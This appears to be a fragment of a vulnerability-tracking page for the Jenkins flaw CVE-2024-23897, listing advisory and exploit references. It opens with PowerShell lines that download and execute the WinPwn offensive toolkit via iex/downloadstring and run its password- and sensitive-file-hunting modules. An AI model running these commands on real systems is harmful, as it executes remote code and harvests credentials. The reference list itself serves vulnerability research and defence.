Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (8)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-23897 |
| jenkins.io |
GitHub CVE
vendor-advisory
|
https://www.jenkins.io/security/advisory/2024-01-24/#SECURITY-3314 |
| sonarsource.com |
GitHub CVE
|
https://www.sonarsource.com/blog/excessive-expansion-uncovering-critical-security-vulnerabilities-in-jenkins/ |
| openwall.com |
GitHub CVE
|
http://www.openwall.com/lists/oss-security/2024/01/24/6 |
| packetstormsecurity.com |
GitHub CVE
|
http://packetstormsecurity.com/files/176839/Jenkins-2.441-LTS-2.426.3-CVE-2024-23897-Scanner.html |
| packetstormsecurity.com |
GitHub CVE
|
http://packetstormsecurity.com/files/176840/Jenkins-2.441-LTS-2.426.3-Arbitrary-File-Read.html |
| vicarius.io |
NVD API
Exploit
Third Party Advisory
|
https://www.vicarius.io/vsociety/posts/the-anatomy-of-a-jenkins-vulnerability-cve-2024-23897-revealed-1 |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2024-23897 |